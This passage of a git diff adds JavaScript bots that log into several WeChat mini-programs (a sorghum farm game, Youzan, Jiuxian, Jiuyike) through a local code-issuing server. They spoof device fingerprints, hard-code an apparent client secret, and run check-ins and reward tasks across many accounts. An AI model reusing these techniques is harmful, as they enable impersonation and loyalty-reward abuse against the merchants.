"未知"},水滴${info?.water ?? 0},有机肥${info?.manure ?? 0},种子${info?.sorghum ?? 0}` + ); + return info || {}; + } + + async dailySign() { + try { + const data = await this.encryptedPost("/garden/sign/dailySign"); + $.log(`账号[${this.index}] 签到成功: ${shortJson(data || "ok")}`); + } catch (e) { + $.log(`账号[${this.index}] 签到失败: ${e.message || e}`); + } + } + + async queryFarm() { + const data = await this.gardenGet("/garden/sorghum/index"); + const lands = listify(data); + const summary = lands + .map((v) => `#${v.serial_number ?? v.id ?? "?"}:${v.status ?? "?"}`) + .join(" "); + $.log(`账号[${this.index}] 地块: ${lands.length || 0}块 ${summary}`.trim()); + return lands; + } + + landPayload(land) { + const id = pickId(land); + return { + id, + sorghum_id: id, + member_sorghum_id: id, + land_id: id, + }; + } + + async harvestFarm(lands) { + const candidates = lands.filter(isHarvestable); + if (!candidates.length) return false; + + let acted = false; + try { + const data = await this.encryptedGet("/garden/Sorghum/harvestAll"); + $.log(`账号[${this.index}] 一键收获成功: ${shortJson(data || "ok")}`); + return true; + } catch (e) { + $.log(`账号[${this.index}] 一键收获失败,尝试单块收获: ${e.message || e}`); + } + + for (const land of candidates) { + try { + const data = await this.encryptedPost("/garden/sorghum/harvest", this.landPayload(land)); + $.log(`账号[${this.index}] 收获成功: 地块${landNo(land)} ${shortJson(data || "ok")}`); + acted = true; + } catch (e) { + $.log(`账号[${this.index}] 收获失败[${landNo(land)}]: ${e.message || e}`); + } + await $.wait(500, 1200); + } + return acted; + } + + async seedFarm(lands) { + const seedCount = Number(this.member.sorghum || 0); + if (seedCount <= 0) { + $.log(`账号[${this.index}] 无可用种子,跳过种植`); + return false; + } + const candidates = lands.filter(isPlantable); + if (!candidates.length) { + $.log(`账号[${this.index}] 未识别到可种植地块`); + return false; + } + let acted = false; + const limit = Math.min(seedCount, candidates.length); + for (let i = 0; i < limit; i++) { + const land = candidates[i]; + try { + const data = await this.encryptedPost("/garden/sorghum/seed", this.landPayload(land)); + $.log(`账号[${this.index}] 种植成功: 地块${landNo(land)} ${shortJson(data || "ok")}`); + acted = true; + } catch (e) { + $.log(`账号[${this.index}] 种植失败[${landNo(land)}]: ${e.message || e}`); + } + await $.wait(500, 1200); + } + return acted; + } + + async waterFarm(lands) { + const waterCount = Number(this.member.water || 0); + if (waterCount <= 0) { + $.log(`账号[${this.index}] 无可用水滴,跳过浇水`); + return false; + } + const candidates = lands.filter(isGrowing); + if (!candidates.length) { + $.log(`账号[${this.index}] 未识别到可浇水地块`); + return false; + } + let acted = false; + const limit = Math.min(waterCount, candidates.length); + for (let i = 0; i < limit; i++) { + const land = candidates[i]; + try { + const data = await this.encryptedPost("/garden/sorghum/watering", this.landPayload(land)); + $.log(`账号[${this.index}] 浇水成功: 地块${landNo(land)} ${shortJson(data || "ok")}`); + acted = true; + } catch (e) { + $.log(`账号[${this.index}] 浇水失败[${landNo(land)}]: ${e.message || e}`); + } + await $.wait(500, 1200); + } + return acted; + } + + async manureFarm(lands) { + const manureCount = Number(this.member.manure || 0); + if (manureCount <= 0) { + $.log(`账号[${this.index}] 无可用有机肥,跳过施肥/养护`); + return false; + } + const candidates = lands.filter(isGrowing); + if (!candidates.length) { + $.log(`账号[${this.index}] 未识别到可施肥/养护地块`); + return false; + } + let acted = false; + const limit = Math.min(manureCount, candidates.length); + for (let i = 0; i < limit; i++) { + const land = candidates[i]; + try { + const data = await this.encryptedPost("/garden/sorghum/manuring", this.landPayload(land)); + $.log(`账号[${this.index}] 施肥/养护成功: 地块${landNo(land)} ${shortJson(data || "ok")}`); + acted = true; + } catch (e) { + $.log(`账号[${this.index}] 施肥/养护失败[${landNo(land)}]: ${e.message || e}`); + } + await $.wait(500, 1200); + } + return acted; + } + + async runFarmAutomation() { + const maxRounds = Number(process.env.junpinhui_farm_rounds || 5); + let anyAction = false; + for (let round = 1; round <= maxRounds; round++) { + $.log(`账号[${this.index}] 农场自动化第${round}轮`); + await this.queryMember(); + let lands = await this.queryFarm(); + + const harvested = await this.harvestFarm(lands); + if (harvested) { + anyAction = true; + await this.queryMember(); + lands = await this.queryFarm(); + } + + const seeded = await this.seedFarm(lands); + if (seeded) { + anyAction = true; + await this.queryMember(); + lands = await this.queryFarm(); + } + + const watered = await this.waterFarm(lands); + if (watered) { + anyAction = true; + await this.queryMember(); + lands = await this.queryFarm(); + } + + const manured = await this.manureFarm(lands); + if (manured) { + anyAction = true; + await this.queryMember(); + await this.queryFarm(); + } + + if (!harvested && !seeded && !watered && !manured) break; + await $.wait(800, 1600); + } + if (!anyAction) $.log(`账号[${this.index}] 农场暂无可执行动作`); + return anyAction; + } + + async queryTasks() { + const data = await this.gardenGet("/garden/tasks/index"); + const tasks = listify(data); + if (!tasks.length) { + $.log(`账号[${this.index}] 未查询到任务列表`); + return []; + } + $.log( + `账号[${this.index}] 任务: ${tasks + .map((t) => `${t.name || t.code || t.id}:${isCompleted(t) ? "已完成" : "未完成"}`) + .join(",")}` + ); + return tasks; + } + + async doShareTask() { + try { + const data = await this.encryptedPost("/garden/gardenmemberinfo/dailyShare"); + $.log(`账号[${this.index}] 分享任务完成: ${shortJson(data || "ok")}`); + } catch (e) { + $.log(`账号[${this.index}] 分享任务失败: ${e.message || e}`); + } + } + + async doQuestionTask() { + try { + const questions = listify(await this.gardenGet("/garden/Gardenquestiontask/index")); + if (!questions.length) { + $.log(`账号[${this.index}] 每日一答无题目`); + return; + } + for (const q of questions) { + const id = q.id; + const answer = q.answer; + if (!id || !answer) continue; + const data = await this.encryptedGet("/garden/Gardenquestiontask/answerResultsJph", { + question_id: id, + answer, + }); + $.log(`账号[${this.index}] 每日一答完成: ${q.title ? shortJson(q.title, 45) : id} => ${shortJson(data || "ok")}`); + await $.wait(500, 1200); + } + } catch (e) { + $.log(`账号[${this.index}] 每日一答失败: ${e.message || e}`); + } + } + + async doRealityTask() { + try { + const data = await this.gardenGet("/garden/realscene/reward"); + $.log(`账号[${this.index}] 实景相册任务: ${shortJson(data || "ok")}`); + } catch (e) { + $.log(`账号[${this.index}] 实景相册任务失败: ${e.message || e}`); + } + } + + async doCompleteInfoTask() { + try { + const data = await this.gardenGet("/garden/tasks/checkCompleteMemberInfo"); + $.log(`账号[${this.index}] 完善信息任务: ${shortJson(data || "ok")}`); + } catch (e) { + $.log(`账号[${this.index}] 完善信息任务失败: ${e.message || e}`); + } + } + + async doSubscribePrize() { + try { + const data = await this.gardenGet("/garden/tasks/getSubscribePrize"); + $.log(`账号[${this.index}] 订阅奖励: ${shortJson(data || "ok")}`); + } catch (e) { + $.log(`账号[${this.index}] 订阅奖励失败: ${e.message || e}`); + } + } + + async doTasks(tasks) { + const pending = tasks.filter((task) => !isCompleted(task)); + if (!pending.length) { + $.log(`账号[${this.index}] 暂无未完成任务`); + return; + } + for (const task of pending) { + const code = task.code || ""; + if (code === "answer_survey") await this.doQuestionTask(); + else if (code === "garden_share") await this.doShareTask(); + else if (code === "view_organic_sorghum") await this.doRealityTask(); + else if (code === "complete_member_info") await this.doCompleteInfoTask(); + else if (/subscribe/i.test(code)) await this.doSubscribePrize(); + else $.log(`账号[${this.index}] 未适配任务: ${task.name || code || task.id}`); + await $.wait(500, 1200); + } + } + + async run() { + $.log(`\n账号[${this.index}] ${mask(this.openid || this.cacheKey)}`); + // 所有业务都在 garden 上,直接用 garden 会话;原来的 fm 静默登录只是拿一个 + // 对 garden 无效的 X-Access-Token,白耗一个 code,已不再调用。 + await this.ensureGarden(); + await this.queryMember(); + await this.dailySign(); + + const tasks = await this.queryTasks(); + await this.doTasks(tasks); + + await this.runFarmAutomation(); + + await this.queryMember(); + await this.queryFarm(); + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) return; + for (const account of $.userList) { + try { + await new Task(account).run(); + } catch (e) { + $.log(`账号执行失败: ${e.message || e}`); + } + } +})() + .catch((e) => $.log(`脚本异常: ${e.message || e}`)) + .finally(() => $.done && $.done()); diff --git a/wxapp/juziyingtao.js b/wxapp/juziyingtao.js new file mode 100644 index 00000000..aaaa84ae --- /dev/null +++ b/wxapp/juziyingtao.js @@ -0,0 +1,282 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 橘子樱桃微信小程序签到 +cron: 30 8 * * * +------------------------------------------ +变量名:juziyingtao +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("橘子樱桃微信小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const querystring = require("querystring"); + +const MINI_APP_ID = "wx6a81bb0575a8b55c"; +const KDT_ID = "122940115"; +const USER_VERSION = "2.224.7.101"; +const CLIENT_ID = "4d65249d377b2c3ed8"; +const CLIENT_SECRET = "1cdc05151d64f3a4a6ebd0e9de64422a"; +const GRANT_TYPE = "yz_union"; +const API_BASE = "https://h5.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "juziyingtao_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "juziyingtao"; + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function maskToken(token = "") { + if (!token) return ""; + return token.length > 12 ? `${token.slice(0, 6)}***${token.slice(-6)}` : `${token.slice(0, 3)}***`; +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = {}; + this.checkinId = ""; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.token = cached; + $.log(`账号[${this.index}] 使用缓存token: ${maskToken(this.accessToken)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新code登录`); + } + } + + if (!this.accessToken) { + await this.loginByWxCode(); + } + if (!this.accessToken) return; + + await this.getPoints("签到前"); + await this.getCheckinInfo(); + await this.doCheckin(); + await this.getPoints("签到后"); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.accessToken) return; + const cache = readTokenCache(); + cache[this.openid] = { + ...this.token, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = {}; + } + + get accessToken() { + return this.token.accessToken || this.token.access_token || ""; + } + + get sessionId() { + return this.token.sessionId || this.token.session_id || ""; + } + + buildExtraData() { + return JSON.stringify({ + is_weapp: 1, + sid: this.sessionId, + version: USER_VERSION, + client: "weapp", + bizEnv: "wsc", + }); + } + + buildUrl(apiPath, query = {}) { + const pathname = apiPath.replace(/^\/+/, ""); + const params = querystring.stringify({ + store_id: "", + app_id: MINI_APP_ID, + kdt_id: KDT_ID, + access_token: this.accessToken, + ...query, + }); + return `${API_BASE}/${pathname}?${params}`; + } + + getHeaders(extra = {}) { + return { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/49/page-frame.html`, + "Extra-Data": this.buildExtraData(), + "Accept": "application/json, text/plain, */*", + ...extra, + }; + } + + async request({ method = "GET", apiPath, query = {}, data = {}, skipToken = false }) { + const oldToken = this.token; + if (skipToken) this.token = {}; + const options = { + method, + url: this.buildUrl(apiPath, query), + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + if (method !== "GET") options.data = data; + if (skipToken) this.token = oldToken; + + const { status, data: result } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${typeof result === "string" ? result.slice(0, 200) : JSON.stringify(result)}`); + if (!result || result.code !== 0) { + const err = new Error(result?.msg || result?.message || JSON.stringify(result)); + err.code = result?.code; + throw err; + } + return result.data; + } + + async getWxCode() { + const wxServerUrl = process.env.wx_server_url; + const wxAuth = process.env.wx_auth; + if (!wxServerUrl || !wxAuth) throw new Error("未配置 wx_server_url 或 wx_auth"); + + const { status, data } = await axios.post( + `${wxServerUrl.replace(/\/$/, "")}/wx/getuserinfo`, + { appid: MINI_APP_ID, openid: this.openid }, + { + headers: { + auth: wxAuth, + "content-type": "application/json", + }, + timeout: 15000, + validateStatus: () => true, + } + ); + const code = data?.code || data?.data?.code || data?.phoneCode || data?.data?.phoneCode; + if (status !== 200 || !code) throw new Error(`wx_server 获取code失败: HTTP ${status} ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getWxCode(); + const data = await this.request({ + method: "POST", + apiPath: "wscshop/weapp/authorize.json", + skipToken: true, + data: { + appId: MINI_APP_ID, + clientId: CLIENT_ID, + clientSecret: CLIENT_SECRET, + grantType: GRANT_TYPE, + code, + }, + }); + this.token = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${data?.nick_name || data?.nickName || ""} ${maskPhone(data?.mobile)}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getPoints("缓存校验"); + return true; + } catch (e) { + return false; + } + } + + async getPoints(label = "积分") { + const data = await this.request({ apiPath: "wscump/integral/user_points.json" }); + const points = data?.current_points ?? data?.real_points ?? data?.total_points ?? "未知"; + $.log(`账号[${this.index}] ${label}: ${points}积分`); + return data; + } + + async getCheckinInfo() { + const data = await this.request({ apiPath: "wscump/checkin/show_checkin_page_v2.json" }); + this.checkinId = data?.checkinId || data?.checkin_id || ""; + $.log(`账号[${this.index}] 签到活动: checkinId=${this.checkinId || "未获取"} isShow=${data?.isShow} showPage=${data?.showPage}`); + return data; + } + + async doCheckin() { + if (!this.checkinId) { + $.log(`账号[${this.index}] 未获取到签到活动,跳过`); + return; + } + try { + const data = await this.request({ + apiPath: "wscump/checkin/checkinV2.json", + query: { checkinId: this.checkinId }, + }); + const award = (data?.list || []) + .map((item) => item?.infos?.title || item?.infos?.desc || "") + .filter(Boolean) + .join(", "); + $.log(`账号[${this.index}] 签到成功: ${data?.desc || ""}${award ? ` ${award}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (/已签到|已经签到|重复|今日.*签|参与次数/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + if (/手机号未授权|mobile.*authorized/i.test(message)) { + $.log(`账号[${this.index}] 签到失败: 用户手机号未授权,请先在小程序内完成手机号授权`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (e.code === -1 || e.code === 40010 || e.code === 40009 || /登录|token|access/i.test(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/jx.js b/wxapp/jx.js new file mode 100644 index 00000000..468770c3 --- /dev/null +++ b/wxapp/jx.js @@ -0,0 +1,280 @@ +/* +------------------------------------------ +@Description: 酒仙(jiuxian) - 微信小程序静默登录 + 每日签到领金币 +cron: 40 8 * * * +------------------------------------------ +变量名:jx +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx244a18142bb0c78a,host newappuser.jiuxian.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;无签名,鉴权全靠 token) + +所有请求把一组固定应用参数放进 query(appKey/appVersion/apiVersion/areaId/ + appChannel/deviceType/equipmentType/longi/lati/... 均为该小程序固定应用常量), + 已登录后再带 token(既进 query 也进 header)。响应壳统一 success=="1",业务数据在 result。 +登录 GET /xiaochengxu/jscode2session.htm query 追加 {jscode:code, encryptedData:"", iv:""} + -> success=="1",result.token(后续鉴权 token)、result.userId + 无 token/userId 视为未绑定/未激活酒仙会员 -> ⚠️ +状态 GET /memberChannel/memberInfo.htm query 带 token + -> success=="1",result.isSignTody(true=今日已签) +签到 GET /memberChannel/userSign.htm query 带 token + -> success=="1",result.receivedGoldNums(本次所得金币);重复签到 errMsg 提示已签 +appKey/appVersion/areaId/equipmentType 等是该小程序固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("酒仙签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "jx"; +const MINI_APP_ID = "wx244a18142bb0c78a"; +const PAGE_VERSION = "153"; +const USER_BASE = "https://newappuser.jiuxian.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "jx_token_cache.json"); +const WX_SERVER_URL = process.env.wx_server_url || "http://192.168.31.196:8787"; +const WX_AUTH = process.env.wx_auth || ""; + +// —— 该小程序固定应用常量(原脚本硬编码,非个人凭证) —— +const APP_KEY = "feff3071-7bff-4fda-b535-c9ebdf245f53"; +const APP_VERSION = "9.2.21"; +const API_VERSION = "1.0"; +const APP_CHANNEL = "xiaochengxu"; +const DEVICE_TYPE = "XIAOCHENGXU"; +const AREA_ID = "698"; +const LONGI = "113.26435852050781"; +const LATI = "23.129079818725586"; +const EQUIPMENT_TYPE = + '{"CPUType":"Intel(R) Core(TM) i7-8086K CPU @ 4.00GHz","benchmarkLevel":-1,' + + '"brand":"microsoft","memorySize":32682.14453125,"model":"microsoft",' + + '"platform":"windows","system":"Windows 11 x64","statusBarHeight":20,' + + '"SDKVersion":"3.17.0","PCKernelVersion":"2.5.5"}'; + +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/xiaochengxu/jscode2session.htm"; +const EP_MEMBER_INFO = "/memberChannel/memberInfo.htm"; +const EP_SIGN = "/memberChannel/userSign.htm"; + +const wechat = new WeChatServer({ + url: WX_SERVER_URL, + appid: MINI_APP_ID, + auth: WX_AUTH, +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function isOk(d) { + return d && (String(d.success) === "1" || String(d.success) === "true"); +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.userId = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + commonParams(token = "") { + return { + appKey: APP_KEY, + appVersion: APP_VERSION, + apiVersion: API_VERSION, + areaId: AREA_ID, + channelCode: "0, 1", + appChannel: APP_CHANNEL, + cpsId: "", + deviceType: DEVICE_TYPE, + pushToken: "", + supportWebp: "2", + token: token || "", + longi: LONGI, + lati: LATI, + equipmentType: EQUIPMENT_TYPE, + screenReslolution: "414x780", + sysVersion: "Windows 11 x64", + }; + } + headers(token = "", extra) { + const h = { + "User-Agent": UA, + xweb_xhr: "1", + "Content-Type": "application/json", + Accept: "*/*", + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept-Language": "zh-CN,zh;q=0.9", + }; + if (token) h.token = token; + return Object.assign(h, extra || {}); + } + async apiGet(apiPath, { token = this.token, extraParams, extraHeaders } = {}) { + const params = Object.assign(this.commonParams(token), extraParams || {}); + const res = await axios.request({ + method: "GET", + url: `${USER_BASE}${apiPath}`, + params, + headers: this.headers(token, extraHeaders), + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200 && !(res.data && typeof res.data === "object")) { + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data || {}; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async fetchPhone() { + // 老式 encryptedData/iv 手机号授权(与本 openid 的登录 code 同一 session_key,jscode2session 用来绑定账号) + const res = await axios.request({ + method: "POST", url: `${WX_SERVER_URL}/wx/getphonenumber`, + data: { openid: this.account.openid, appid: MINI_APP_ID }, + headers: { auth: WX_AUTH }, timeout: 30000, validateStatus: () => true, + }); + const d = res.data || {}; + if (d.status === false) throw new Error(`取手机号失败: ${d.message || short(d)}`); + const raw = d?.data?.raw || d?.raw || {}; + const enc = raw.encryptedData || d?.encryptedData || ""; + const iv = raw.iv || d?.iv || ""; + if (!enc || !iv) throw new Error(`取手机号失败(无 encryptedData): ${short(d)}`); + return { enc, iv }; + } + async jscode2session(enc, iv) { + const code = await this.getCode(); + return this.apiGet(EP_LOGIN, { + token: "", + extraParams: { jscode: code, encryptedData: enc || "", iv: iv || "" }, + extraHeaders: { secure: "false" }, + }); + } + async login() { + // 1) 先普通 code 登录:openid 已绑定过酒仙账号时直接回 userId + let res = await this.jscode2session("", ""); + let result = isOk(res) ? (res.result || {}) : {}; + // 2) 仅有 token 无 userId = 该 openid 未绑定酒仙 -> 手机号授权绑定一次 + if (!(result.token && result.userId)) { + if (!isOk(res)) { + const msg = res.errMsg || res.message || res.msg || short(res); + throw new Error(`登录失败: errCode=${res.errCode ?? ""} ${msg}`); + } + this.log("首次登录未绑定账号,走手机号授权绑定..."); + let phone; + try { phone = await this.fetchPhone(); } + catch (e) { this.unregistered = true; throw new Error(`NO_ACCOUNT:未绑定酒仙且${e.message}`); } + res = await this.jscode2session(phone.enc, phone.iv); + result = isOk(res) ? (res.result || {}) : {}; + } + this.token = String(result.token || ""); + this.userId = String(result.userId || ""); + if (!this.token || !this.userId) { + const msg = res.errMsg || res.message || res.msg || short(res); + this.unregistered = true; + throw new Error(`NO_ACCOUNT:手机号授权后仍未拿到 userId(可能授权/绑定被拒): ${msg || short(res)}`); + } + const cache = readCache(); + cache[this.account.openid] = { token: this.token, userId: this.userId, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + isAuthErr(resp) { + const msg = String((resp && (resp.errMsg || resp.message || resp.msg)) || ""); + const code = String((resp && (resp.errCode || resp.code)) || ""); + if (/token|登录|未授权|失效|过期|未登录|鉴权|重新登录/i.test(msg)) return true; + if (["401", "403", "-1", "10086"].includes(code) && /token|登录/i.test(msg)) return true; + return false; + } + async sign(retry = true) { + // 先查状态 + const info = await this.apiGet(EP_MEMBER_INFO); + if (isOk(info)) { + const result = info.result || {}; + if (result.isSignTody === true || result.isSignTody === 1 || String(result.isSignTody) === "true") { + return this.log("✅ 今日已签到"); + } + } else if (retry && this.isAuthErr(info)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + // 执行签到 + const res = await this.apiGet(EP_SIGN); + if (isOk(res)) { + const gold = (res.result || {}).receivedGoldNums; + return this.log(`🎉 签到成功${gold !== undefined && gold !== null ? `,本次 +${gold} 金币` : ""}`); + } + const msg = res.errMsg || res.message || res.msg || short(res); + if (/已签|签到过|重复|已完成|今日/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + if (retry && this.isAuthErr(res)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + this.userId = cached.userId || ""; + this.log("使用缓存token"); + return; + } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没绑定/激活酒仙会员(${String(e.message).replace(/^NO_ACCOUNT:/, "")}),先在小程序里登录一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/jyk.js b/wxapp/jyk.js new file mode 100644 index 00000000..64435b1c --- /dev/null +++ b/wxapp/jyk.js @@ -0,0 +1,219 @@ +/* +------------------------------------------ +@Description: 旧衣客(JYK) - 微信小程序静默登录 + 每日签到 +cron: 22 9 * * * +------------------------------------------ +变量名:jyk +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx3f0209cc35a953a4,host jyk.scjyx.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +登录 POST /api/index/get_openid {code, pid:"", device_info:"android_MEIZU_22_370"} + -> errno==0,data.access_token;头 Authorization: Bearer + X-Payconfig-Id:2 +状态 GET /api/checkin/home -> data.{enabled, today_signed, can_sign} +签到 ① POST /api/checkin/prepare -> data.ad_token + ② POST /api/checkin/sign {ad_token} -> errno==0 成功 +响应壳:{errno:0, data};errno!=0 视为失败/未开启。只做普通签到,不做广告签到。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("旧衣客签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "jyk"; +const MINI_APP_ID = "wx3f0209cc35a953a4"; +const TARGET_VERSION = "68"; +const BASE_URL = "https://jyk.scjyx.com"; +const PAYCONFIG_ID = "2"; +const PID = ""; +const DEVICE_INFO = "android_MEIZU_22_370"; +const TOKEN_CACHE_FILE = path.join(__dirname, "jyk_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 " + + "Chrome/107.0.0.0 Mobile Safari/537.36 MicroMessenger/8.0.5 MiniProgramEnv/android"; + +const EP_LOGIN = "/api/index/get_openid"; +const EP_HOME = "/api/checkin/home"; +const EP_PREPARE = "/api/checkin/ad/prepare"; +const EP_SIGN = "/api/checkin/sign"; +const EP_AD_SIGN = "/api/checkin/ad/sign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + headers() { + const h = { + "content-type": "application/json", + "X-Payconfig-Id": PAYCONFIG_ID, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${TARGET_VERSION}/page-frame.html`, + "User-Agent": USER_AGENT, + }; + if (this.token) h.Authorization = `Bearer ${this.token}`; + return h; + } + async request(method, apiPath, payload) { + const res = await axios.request({ + method, + url: `${BASE_URL}${apiPath}`, + data: method === "POST" ? payload || {} : undefined, + headers: this.headers(), + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.request("POST", EP_LOGIN, { code, pid: PID, device_info: DEVICE_INFO }); + if (Number(res?.errno) !== 0) throw new Error(`登录失败: ${res?.errmsg || res?.msg || short(res)}`); + const info = res.data || {}; + this.token = String(info.access_token || ""); + if (!this.token) 